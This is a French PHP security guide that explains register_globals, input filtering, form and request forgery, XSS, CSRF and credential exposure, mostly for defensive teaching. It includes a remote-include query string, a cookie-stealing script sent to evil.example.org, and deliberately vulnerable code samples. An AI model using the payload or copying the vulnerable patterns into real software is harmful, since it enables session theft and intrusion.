Guide de Sécurité PHP 1.0

Guide de Sécurité PHP

Table des matières

Guide de Sécurité PHP: Vue d'ensemble

Qu'est-ce que la sécurité?

- La sécurité est une mesure, pas une caractéristique.

  Il est regrettable que tant de projets de développement logiciel réduisent la sécurité à une simple exigence à satisfaire. Est-ce que c'est sécurisé? Cette question est aussi subjective que de demander si quelque chose est super.

- La sécurité doit être en équilibre avec les dépenses.

  Il est facile et relativement peu cher de fournir un niveau de sécurité suffisant pour la plupart des applications. Cependant, si vos besoins en sécurité sont très exigeants, parce que vous protégez des informations de grande valeur, alors vous devez atteindre un niveau de sécurité plus élevé, à un coût supérieur. Cette dépense doit être inclue dans le budget du projet.

- La sécurité doit être en équilibre avec l'utilisabilité

  Il n'est pas rare que les étapes prises pour améliorer la sécurité d'une application web diminue également son utilisabilité. Les mots de passe, timeouts de sessions et contrôles d'accès créent autant d'obstacles aux utilisateurs légitimes. Parfois, ceux-ci sont nécessaires pour fournir un niveau adéquat de sécurité, mais il n'existe pas de solution qui convienne à toutes les applications. Il est sage de penser à vos utilisateurs légitimes lorsque vous implémentez des mesures de sécurité.

- La sécurité doit faire partie de la conception.

  Si vous concevez votre application sans penser à la sécurité, vous êtes condamnés à constamment faire face à de nouvelles vulnérabilités de sécurité. Une programmation prudente ne peut compenser une mauvaise conception.

Etapes de base

- Pensez aux utilisations illégitimes de votre application.

  Une conception sécurisée n'est qu'une partie de la solution. Pendant le développement, quand le code est rédigé, il est important de penser aux utilisations illégitimes de votre application. Souvent, on se concentre à faire fonctionner l'application selon ce qu'on a prévu. Bien qu'il soit nécessaire de fournir une application qui fonctionne correctement, ceci n'aide en rien pour rendre l'application plus sécurisée.

- Instruisez-vous vous-même.

  Le fait que vous êtes ici constitue une preuve que vous vous intéressez à la sécurité et, aussi banal que cela puisse paraître, c'est l'étape la plus importante. De nombreuses références sont disponibles sur le web et sous forme imprimée, et de nombreuses ressources sont listées dans la bibliothèque du Consortium de Sécurité PHP (PHP Security Consortium's Library), sur http://phpsec.org/library/.

- Si vous ne faites qu'une chose, FILTREZ TOUTES LES DONNEES EXTERNES.

  Le filtrage des données est la pierre angulaire de la sécurité des applications web, quel que soit le langage et la plate-forme. En initialisant vos variables et en filtrant toutes les données qui proviennent de sources externes, vous gérerez une majorité de vulnérabilités avec un minimum d'effort. Une approche par liste blanche (whitelist) est préférable à une approche par liste noire (blacklist). Cela signifie que vous devriez considérer toutes les

données comme invalides, à moins qu'il soit prouvé qu'elles sont valides (plutôt que de considérer toutes les données comme valides, à moins qu'il soit prouvé qu'elles sont invalides).

Register Globals

La directive `register_globals` est désactivée par défaut dans les versions 4.2.0 et supérieures de PHP. Même si cela ne représente pas une vulnérabilité de sécurité, il s'agit quand même d'un risque de vue sécurité. Dès lors, vous devriez toujours développer et déployer vos applications avec la directive `register_globals` désactivée.

Pourquoi cela constitue-t-il un risque de sécurité ? Il est difficile de fournir des bons exemples pour tout le monde, parce que cela requiert souvent une situation unique pour mettre le risque en évidence. Cependant, l'exemple le plus courant est celui que l'on trouve dans le manuel PHP:

```
<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?>
```

Avec la directive `register_globals` activée, cette page peut être appelée avec `?authorized=1` dans la query string, pour contourner le contrôle d'accès prévu. Bien entendu, cette vulnérabilité particulière est la faute du développeur, et pas celle de `register_globals`, mais ceci indique le risque accru que pose cette directive. Sans elle, les variables globales ordinaires (telles que `$authorized` dans l'exemple) ne sont pas affectées par les données soumises par le client. Une meilleure méthode consiste à initialiser toutes les variables et à développer avec la directive `error_reporting` positionnée sur `E_ALL`, de sorte que l'utilisation d'une variable non initialisée ne passe pas inaperçue lors du développement.

Un autre exemple qui illustre le fait que `register_globals` puisse poser problème est l'utilisation suivante de `include` avec un chemin dynamique:

```
<?php

include "$path/script.php";

?>
```

Avec `register_globals` activée, cette page peut être demandée avec `?path=http%3A%2F%2Fevil.example.org%2F%3F` dans la query string, de sorte à ce que cette exemple devienne ceci:

```
<?php

include 'http://evil.example.org/?/script.php';

?>
```

Si la directive `allow_url_fopen` est activée (ce qui est le cas par défaut, même dans `php.ini-recommended`), ceci inclura la sortie de `http://evil.example.org/` exactement comme s'il s'agissait d'un fichier local. C'est une vulnérabilité de sécurité majeure, qui a été découverte dans quelques applications open source populaires.

Initialiser `$path` peut atténuer ce risque particulier, mais c'est également le cas en désactivant `register_globals`. Tandis qu'une erreur d'un développeur puisse aboutir à une variable non initialisée, désactiver `register_globals` est un changement de configuration global que l'on a nettement moins de chances de laisser passer.

L'aspect pratique est merveilleux, et ceux d'entre nous qui ont dû gérer les données de formulaire à la main dans le passé apprécient. Cependant, utiliser les tableaux super-globaux `$_POST` et `$_GET` est encore très pratique, et activer

`register_globals` ne vaut pas le risque supplémentaire. Bien que je sois complètement en désaccord avec les arguments qui assimilent `register_globals` à une sécurité médiocre, je recommande qu'elle soit désactivée.

En plus de tout ceci, désactiver `register_globals` encourage les développeurs à être attentifs à l'origine des données, ce qui constitue une caractéristique importante de tout développeur soucieux de sécurité.

Filtrage des données

Comme spécifié précédemment, le filtrage des données est la pierre angulaire de la sécurité des applications web, indépendamment du langage de programmation et de la plate-forme. Cela implique les mécanismes par lesquels vous déterminez la validité des données qui entrent et sortent de l'application. Une bonne conception de logiciel peut aider le développeur à:

- S'assurer que le filtrage des données ne peut être contourné,
- S'assurer que des données invalides ne peuvent être confondues avec des données valides, et
- Identifier l'origine des données.

Les avis divergent concernant la manière de s'assurer que l'on ne puisse pas contourner le filtrage de données, mais il existe deux approches générales qui semblent les plus répandues, et les deux fournissent un niveau suffisant de confiance.

La méthode de répartition (Dispatch Method)

Une première méthode consiste à n'avoir qu'un seul script PHP directement accessible via le web (via son URL). Tout le reste étant des modules inclus par `include` ou `require`, selon les besoins. Cette méthode requiert en général qu'une variable `GET` soit passée avec chaque URL, pour identifier la tâche. Cette variable `GET` peut être considérée comme le remplacement du nom du script, qui aurait été utilisé dans une conception plus simple. Par exemple:

```
http://example.org/dispatch.php?task=print_form
```

Le fichier `dispatch.php` est le seul fichier sous la racine web (document root). Cela permet à un développeur de réaliser deux choses importantes:

- Implémenter certaines mesures globales de sécurité, au sommet de `dispatch.php` et de s'assurer que ces mesures ne puissent pas être contournées.
- Voir aisément que le filtrage des données a lieu lorsque nécessaire, en se concentrant sur le contrôle de flux d'une tâche spécifique.

Pour expliquer cela plus en détails, considérez cet exemple de script `dispatch.php`:

```
<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;
```

```
    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>
```

S'il s'agit du seul script PHP public, alors il devrait être clair que la conception de cette application assure qu'aucune mesure globale de sécurité prise au sommet du fichier ne peut être contournée. Elle permet également au développeur de visualiser aisément le contrôle du flux d'une tâche spécifique. Par exemple, au lieu de jeter un oeil sur une myriade de code, on peut facilement voir que `end.inc` n'est affiché à l'utilisateur que quand `$form_valid` a la valeur `true`. Et comme il est initialisé à la valeur `false` juste avant que le fichier `process.inc` ne soit inclus, il est clair que la logique à l'intérieur de `process.inc` doit lui affecter la valeur `true`, sans quoi le formulaire est affiché à nouveau (vraisemblablement avec un message d'erreur approprié).

Note

Si vous utilisez un fichier d'index de répertoire tel que `index.php` (au lieu de `dispatch.php`), vous pouvez employer des URLs telles que `http://example.org/?task=print_form`.

Vous pouvez également employer la directive Apache `ForceType` ou `mod_rewrite` pour fournir des URLs telles que `http://example.org/app/print-form`.

La méthode d'inclusion (Include Method)

Une autre approche consiste à disposer d'un seul module responsable de toutes les mesures de sécurité. Ce module est inclus au sommet (ou très près du sommet) de tous les scripts PHP publics (accessibles via une URL). Considérez l'exemple suivant de script `security.inc` :

```
<?php
switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
```

```
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}
?>
```

Dans cet exemple, on attend que chaque formulaire soumis ait une variable de formulaire nommée `form`, qui l'identifie de manière unique. Et `security.inc` comporte un cas spécifique pour gérer le filtrage des données de ce formulaire particulier. Un exemple de formulaire HTML qui remplit ces conditions est le suivant:

```
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>
```

On utilise un tableau appelé `$allowed` pour identifier exactement quelles sont les variables de formulaire autorisées, et cette liste doit être identique pour que le formulaire soit traité. Le contrôle de flux est précisé ailleurs, et `process.inc` est l'endroit endroit où se produit vraiment le filtrage des données.

Note

Un bon moyen de s'assurer que `security.inc` est toujours inclus au sommet de tous les scripts PHP est d'utiliser la directive `auto_prepend_file`.

Exemples de filtrage

Il est important de choisir une approche par liste blanche (whitelist) pour votre filtrage de données. Même s'il est impossible de donner des exemples pour tous les types de données de formulaire que vous pourriez rencontrer, quelques exemples peuvent aider à illustrer une approche saine.

L'exemple suivant valide une adresse mail:

```
<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>
```

L'exemple suivant assure que `$_POST['color']` est `red`, `green`, ou `blue`:

```
<?php

$clean = array();



switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>
```

L'exemple suivant assure que `$_POST['num']` est un nombre entier:

```
<?php
$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}
?>
```

L'exemple suivant assure que `$_POST['num']` est un nombre réel (à virgule flottante):

```
<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
```

```
{
    $clean['num'] = $_POST['num'];
}

?>
```

Conventions de nommage

Chacun des exemples précédent utilisait un tableau nommé `$clean`. Ceci illustre une bonne méthode, susceptible d'aider les développeurs à identifier si une donnée est potentiellement entachée (tainted). Vous ne devriez jamais prendre l'habitude de valider des données et de les laisser dans `$_POST` ou `$_GET`, parce qu'il est important que les développeurs se méfient toujours des données contenues dans ces tableaux super-globaux.

De plus, une utilisation plus libre de `$clean` permet de considérer tout le reste comme étant entaché (tainted), ce qui ressemble plus à une approche par liste blanche (whitelist), et offre donc un niveau accru de sécurité.

Si vous stockez des données dans `$clean` uniquement après les avoir validées, le seul risque encouru en cas de non validation de quelque chose est que vous pourriez référencer un élément de tableau qui n'existe pas, plutôt qu'une donnée potentiellement entachée (tainted).

Timing

Une fois qu'un script PHP commence son traitement, l'entièreté de la requête HTTP a été reçue. Ce qui signifie que l'utilisateur n'a plus l'opportunité d'envoyer de données, et par conséquent, aucune donnée ne peut être injectée dans votre script (même si `register_globals` est activée). C'est pourquoi initialiser vos variables est une si bonne habitude.

Signalement des erreurs

Dans les versions de PHP antérieures à PHP 5, sorti le 13 juillet 2004, le signalement des erreurs était plutôt simpliste. Mis à part une programmation prudente, il se basse essentiellement sur quelques directives spécifiques de configuration PHP:

- `error_reporting`

  Cette directive définit le niveau désiré de signalement des erreurs. On suggère fortement que vous la définissiez à `E_ALL`, à la fois pour le développement et pour la production.

- `display_errors`

  Cette directive détermine si les erreurs doivent être affichées à l'écran (inclues dans la sortie). Vous devriez développer avec cette directive à `On`, de sorte que vous puissiez être prévenu des erreurs lors du développement. Et vous devriez la définir à `Off` en production, de manière à ce que les erreurs soient cachées aux utilisateurs (et aux attaquants potentiels).

- `log_errors`

  Cette directive détermine si les erreurs doivent être envoyées dans un fichier de log. Bien que ceci soulève des soucis de performance, il est souhaitable que les erreurs soient les plus rares possible. Si loguer les erreurs révèle un stress disque à cause des entrées (I/O) soutenues, vous avez sans doute des soucis plus importants que la performance de votre application. Vous devriez définir cette directive à `On` en production.

- `error_log`

  Cette directive indique l'emplacement du fichier de log dans lequel sont écrites les erreurs. Assurez-vous que le serveur web possède des permissions en écriture sur le fichier spécifié.

Définir `error_reporting` à `E_ALL` vous aidera à forcer l'initialisation des variables, parce qu'une référence à une variable non définie génère alors un avertissement (notice).

Note

Chacune de ces directives peut être définie grâce à `ini_set()`, au cas où vous n'auriez pas accès au fichier `php.ini` ou aux autres méthodes qui définissent ces directives.

Une bonne référence à toutes les fonctions de gestion et de signalement des erreurs, c'est le manuel de PHP:

http://www.php.net/manual/en/ref.errorfunc.php

PHP 5 inclut une gestion des exceptions. Pour plus d'informations, voir:

http://www.php.net/manual/language.exceptions.php

Guide de Sécurité PHP: Traitement des formulaires

Falsification des soumission de formulaire

Pour appréhender la nécessite de filtrer les données, considérez le formulaire suivant, hypothétiquement situé à `http://example.org/form.html`:

```
<form action="/process.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Imaginez un attaquant potentiel qui enregistre ce formulaire HTML et le modifie de la manière suivante:

```
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

Ce nouveau formulaire peut désormais se situer partout (un serveur web n'est même pas nécessaire, puisqu'il suffit simplement d'être lisible par un navigateur web). Et le formulaire peut être manipulé à volonté. L'URL absolue employée dans l'attribut action provoque l'envoi de la requête `POST` au même emplacement.

Ceci rend très facile l'élimination toute restriction côté client, qu'il s'agisse de restrictions du formulaire HTML ou de scripts côté client dont le but est de procéder à un filtrage rudimentaire des données. Dans cet exemple particulier, `$_POST['color']` n'a pas forcément les valeurs `red`, `green`, ou `blue`. A l'aide d'une procédure très simple, n'importe quel utilisateur peut créer un formulaire pratique pour soumettre n'importe quelle donnée à l'URL qui traite le formulaire.

Requêtes HTTP falsifiées

Une approche plus puissante, bien que moins pratique, est de falsifier une requête HTTP. Dans le cas du formulaire d'exemple que nous venons de présenter, où l'utilisateur choisit une couleur, la requête HTTP qui résulte ressemble à ceci (en supposant le choix de la couleur rouge, `red`):

```
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red
```

L'utilitaire `telnet` peut être employé pour procéder à certains tests ad hoc. L'exemple suivant crée une simple requête `GET` pour `http://www.php.net/`:

```
$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...
```

Bien sûr, vous pouvez créer votre propre client, plutôt que d'entrer des requêtes manuellement avec `telnet`. L'exemple suivant montre comment exécuter la même requête en utilisant PHP:

```
<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>
```

Envoyer vos propres requêtes HTTP vous fournit une flexibilité totale, et ceci montre pourquoi le filtrage des données côté server est si indispensable. Sans lui, vous n'avez aucune garantie au sujet d'aucune donnée provenant d'une source externe.

Cross-Site Scripting

Les médias ont contribué à faire des cross-site scripting (XSS) un terme familier, et cette attention est méritée. C'est l'une des vulnérabilités de sécurité les plus communes dans les applications web, et de nombreuses applications populaires opensource en PHP souffrent constamment de vulnérabilités XSS.

Les attaques XSS ont les caractéristiques suivantes:

- Exploiter la confiance qu'a un utilisateur envers un site particulier.

  Les utilisateurs n'ont pas forcément un haut degré de confiance envers tous les sites web, mais le navigateur bien. Par exemple, quand le navigateur envoie des cookies dans une requête, il fait confiance au site web. Les utilisateurs peuvent aussi avoir des habitudes de surf différentes, ou même différents niveaux de sécurité définis dans leur navigateur, selon le site qu'ils visitent.

- Elles impliquent généralement les sites qui affichent des données externes.

  Les applications à risque plus élevé incluent les forums, clients web mail, et tout ce qui affiche du contenu à publication multiple (syndicated), comme les flux RSS.

- Elles injectent du contenu choisi par l'attaquant.

  Lorsque les données externes ne sont pas correctement filtrées, vous pouvez afficher du contenu choisi par l'attaquant. C'est aussi dangereux que de laisser l'attaquant éditer vos codes source sur le serveur.

Comment ceci peut-il se produire? Si vous affichez du contenu qui provient d'une source extérieure sans le filtrer de manière adéquate, vous êtes vulnérables aux XSS. Les données étrangères ne sont pas limitées aux données provenant du client. Elles comportent également les mails affichés par un client web mail, une bannière de publicité, un blog à publication multiple (syndicated), etc. Toute information qui n'est pas déjà présente dans le code provient d'une source externe, ce qui signifie que la plupart des données sont des données externes.

Considérez l'exemple suivant d'un tableau d'affichage (message board) simpliste:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

Ce tableau d'affichage ajoute `<br />` à la fin de tout ce que l'utilisateur entre, l'ajoute à la fin d'un fichier, puis affiche le contenu actuel du fichier.

Imaginez qu'un utilisateur entre le message suivant:

```
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie;
</script>
```

Le prochain utilisateur qui visite ce tableau d'affichage en ayant JavaScript activé est redirigé vers `evil.example.org`, et tous les cookies associés au site actuel sont inclus dans la query string de l'URL.

Bien sûr, un véritable attaquant ne serait pas limité par mon manque de créativité ou d'expertise en Javascript. N'hésitez pas à me suggérer des exemples meilleurs (plus malveillants?)

Que pouvez-vous faire? Il est en fait très facile de se défendre contre les XSS. Là où les choses se compliquent, c'est quand vous souhaitez autoriser du HTML ou des scripts côté client provenant de sources externes (comme d'autres utilisateurs) et que vous finissez par les afficher. Mais même ces situations ne sont pas terriblement difficiles à gérer. Les meilleures methodes suivantes peuvent atténuer le risque de XSS:

- Filtrez toutes les données externes.

  Comme mentionné plus haut, le filtrage des données est la méthode la plus importante que vous puissiez adopter. En validant toutes les données externes entrant et sortant de votre application, vous réduirez la majorité des soucis liés aux XSS

- Utilisez les fonctions existantes.

  Laissez PHP vous aider pour votre logique de filtrage. Des fonctions comme `htmlentities()`, `strip_tags()`, et `utf8_decode()` peuvent s'avérer utiles. Essayez d'éviter de reproduire quelque chose qu'une fonction PHP fait déjà. Non seulement la fonction PHP est bien plus rapide, mais en plus elle est mieux testée et moins susceptible de contenir des erreurs aboutissant à des vulnérabilités.

- Utilisez une approche par liste blanche (whitelist).

  Supposez qu'une donnée est invalide, jusqu'à ce qu'on puisse prouver qu'elle est valide. Ceci implique de vérifier la longueur, et de ne permettre que des caractères valides. Par exemple, si l'utilisateur fournit un nom de famille, vous pourriez commencer par n'autoriser que les caractères alphabétiques et les espaces. Péchez par prudence. Même si les noms de famille comme `O'Reilly` et `Berners-Lee` seront considérés comme invalides, on peut facilement corriger cela en ajoutant deux caractères supplémentaires à la liste blanche (whitelist). Il vaut mieux refuser des données valides que d'accepter des données malveillantes.

- Utilisez une convention de nommage stricte.

  Comme spécifié plus haut, une convention de nommage aide les développeurs à distinguer facilement les données filtrées des données non filtrées. Il est important de rendre les choses les plus simples et les plus claires possible pour les développeurs. Un manque de clarté produit de la confusion, et ceci engendre des vulnérabilités

Une version bien plus sûre du tableau d'affichage (message board) simple mentionné prédécemment est la suivante:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
```

```php
<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

Grâce au simple ajout de `htmlentities()`, le tableau d'affichage est maintenant bien plus sûr. Il ne devrait pas être considéré comme complètement sécurisé, mais c'est probablement l'étape la plus facile que vous puissiez entreprendre pour fournir un niveau de protection adéquat. Bien sûr, il est vivement conseillé que vous suiviez toutes les meilleures méthodes dont on a discuté.

Cross-Site Request Forgeries

Malgré les similitudes de nom, les cross-site request forgeries (CSRF) sont pratiquement à l'opposé du style d'attaque. Tandis que les attaques XSS exploitent la confiance qu'un utilisateur possède envers un site, les attaques CSRF exploitent la confiance qu'un site web possède envers un utilisateur. Les attaques CSRF sont plus dangereuses, moins populaires (ce qui signifie moins de ressources pour les développeurs), et il est plus difficile de se défendre contre elles que contre les attaques XSS.

Les attaques CSRF ont les caractéristiques suivantes:

- Elles exploitent la confiance qu'un site possède envers un utilisateur particulier.

  De nombreux utilisateurs peuvent ne pas être de confiance, mais il est courant dans les applications web d'offrir certains privilèges aux utilisateurs une fois logués dans l'application. Les utilisateurs disposant de ces privilèges plus élevés sont des victimes potentielles (des complices sans le savoir, en réalité).

- Elles impliquent généralement des sites web qui se basent sur l'identité des utilisateurs. L'identité d'un utilisateur pèse typiquement très lourd. Avec un mécanisme de gestion de session sécurisé, ce qui représente un challenge en soi, les attaques CSRF peuvent cependant toujours réussir. En réalité, c'est dans ce type d'environnement que les attaques CSRF sont les plus puissantes.

- Elles exécutent des requêtes HTTP choisies par l'attaquant.

  Les attaques CSRF incluent toutes les attaques qui impliquent un attaquant qui falsifie une requête HTTP d'un autre utilisateur (essentiellement, ruser pour qu'un utilisateur envoie une requête HTTP pour le compte de l'attaquant). Il existe plusieurs techniques différentes qui peut être utilisées pour accomplir cela, et je vais montrer quelques exemples d'une technique spécifique.

Puisque les attaques CSRF impliquent la falsification de requêtes HTTP, il est important de commencer par acquérir un niveau élémentaire de familiarité avec HTTP

Un navigateur web est un client HTTP, et un serveur web est un serveur HTTP. Les clients initient une transaction en envoyant une requête, et le serveur termine la transaction en envoyant une réponse. Une requête HTTP typique ressemble à ceci:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

La première ligne est appelée ligne de requête. Elle contient la méthode de requête, l'URL que demandée (une URL relative est utilisée), et la version de HTTP. Les autres lignes sont des en-têtes HTTP (headers), et chaque nom d'en-tête HTTP est suivie de deux points (:), un espace, et de sa valeur.

Accéder à ces informations via PHP vous est peut-être familier. Par exemple, on peut utiliser le code suivant pour reconstruire cette requête HTTP particulière dans une chaîne de caractères (string):

```
<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>
```

Voici un exemple de réponse à la requête précédente:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
<html>
<img src="http://example.org/image.png" />
</html>
```

Le contenu de la réponse est ce que vous voyez quand vous visualiser le code source dans un navigateur. La balise (tag) `img` dans cette réponse particulière prévient le navigateur du fait qu'une autre ressource (une image) est nécessaire pour effectuer un rendu correct de la page. Le navigateur demande cette ressource comme il le ferait pour toute autre ressource. Ceci est un example d'une telle requête:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

Ceci mérite d'attirer votre attention. Le navigateur demande l'URL spécifiée dans l'attribut `src` de la balise `img`, exactement comme si l'utilisateur avait demandé manuellement de naviguer là. Le navigateur n'a aucun moyen d'indiquer qu'il s'attend spécifiquement à recevoir une image.

Combinez cela avec ce que vous avez appris au sujet des formulaires, puis considérez une URL similaire à celle ci:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

La soumission d'un formulaire qui utilise la méthode `GET` est potentiellement indistinguable d'une requête pour une image - les deux peuvent être des requêtes pour le même URL. Si `register_globals` est activé, la méthode utilisée par le formulaire n'est même plus importante (à moins que le développeur n'utilise toujours `$_POST` etc). Les dangers commencent déjà à devenir clairs, j'espère.

Une autre caractéristique qui rendent si puissantes les attaques CSRF est que tout cookie appartenant à un URL est inclus dans la requête pour cet URL. Un utilisateur qui a établi une relation avec `stocks.example.org` (comme être logué) peut potentiellement acheter `1000` actions de `SCOX` en visitant une page avec une balise `img` qui spécifie l'URL de l'exemple précédent.

Considérez le formulaire suivant, situé hypothétiquement à `http://stocks.example.org/form.html`:

```
<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

Si l'utilisateur entre `SCOX` comme symbole, `1000` comme quantité, et soumets le formulaire, la requête envoyée par le navigateur est similaire à la suivante:

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

J'inclus un en-tête (header) `Cookie` dans cet exemple, pour illustrer le fait que l'application utilise un cookie pour l'identifiant de session. Si une balise `img` référence le même URL, le même cookie sera envoyé dans la requête pour cet URL, et le serveur qui traite la requête ne sera pas capable de distinguer ceci d'une véritable commande.

Il existe plusieurs choses que vous pouvez faire pour protéger vos applications contre les CSRF:

- Utilisez `POST` plutôt que `GET` dans les formulaires. Spécifiez `POST` dans l'attribut 'method' de vos formulaires. Bien sûr, ceci n'est pas approprié pour tous vos formulaires, mais bien pour ceux qui exécutent une action, telle que l'achat d'actions. En réalité, la spécification HTTP requiert que `GET` soit considéré come sûr.

- Utilisez `$_POST` plutôt que de vous fier à `register_globals`. Utiliser la méthode `POST` pour la soumission de formulaires ne sert à rien si vous comptez sur `register_globals` et que vous référencez des variables de formulaires comme `$symbol` et `$quantity`. C'est aussi inutile si vous utilisez `$_REQUEST`.

- Ne vous concentrez pas sur la commodité.

  Bien qu'il semble souhaitable de rendre aussi pratique que possible l'expérience des utilisateurs, trop de commodité peut avoir de sérieuses conséquences. Bien que des approches "one-click" puissent être rendues très sécurisées, une implémentation simple sera vraisemblablement vulnérable aux CSRF.

- Forcez l'utilisation de vos propres formulaires.

  Le plus gros problèmes avec CSRF est d'avoir des requêtes qui ressemblent à des soumissions de formulaires, mais n'en sont pas. Si un utilisateur n'a pas demandé la page contenant le formulaire, devriez-vous supposer qu'une requête qui ressemble à la soumission d'un formulaire soit légitime et voulue?

Maintenant, nous pouvons écrire un tableau d'affichage (message board) encore plus sécurisé:

```
<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>
```

Ce tableau d'affichage (message board) comporte toujours quelques vulnérabilités de sécurité. Pouvez-vous les identifier?

Le temps est extrêmement prévisible. Utiliser un digest MD5 d'un timestamp est une mauvaise excuse pour ne pas utiliser un nombre aléatoire. De meilleures fonctions incluent `uniqid()` et `rand()`.

Plus important, il est trivial pour un attaquant d'obtenir un token valide. En visitant simplement cette page, un token valide est généré et inclus dans le source. Avec un token valide, l'attaque est aussi simple qu'avant l'ajout du token obligatoire.

Voici un tableau d'affichage amélioré:

```
<?php

session_start();
```

```
if (isset($_POST['message']))
{
        if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile('./messages.txt');

?>
```

Guide de Sécurité PHP: Bases de données et SQL

Autorisations d'accès exposées

La plupart des applications PHP interagissent avec une base de données. Cela implique de se connecter à un serveur de base données et d'utiliser ses autorisations d'accès (access credentials) pour s'identifier:

```
<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>
```

Ceci pourrait être l'exemple d'un fichier nommé `db.inc`, inclus à chaque fois qu'il faut se connecter à la base de données. Cette approche est pratique, et rassemble les autorisations d'accès dans un seul fichier.

Des problèmes potentiels se posent lorsque ce fichier se situe à l'intérieur de la racine web (document root). Cette approche est répandue, car elle simplifie beaucoup les instructions `include` et `require`. Cependant, cela peut amener à des situations qui exposent vos autorisations d'accès (access credentials).

Rappelez-vous que tout ce qui se trouve en-dessous de la racine web est associé à un URL. Par exemple, si la racine web (document root) est `/usr/local/apache/htdocs`, alors le fichier `/usr/local/apache/htdocs/inc/db.inc` possède un URL du genre `http://example.org/inc/db.inc`.

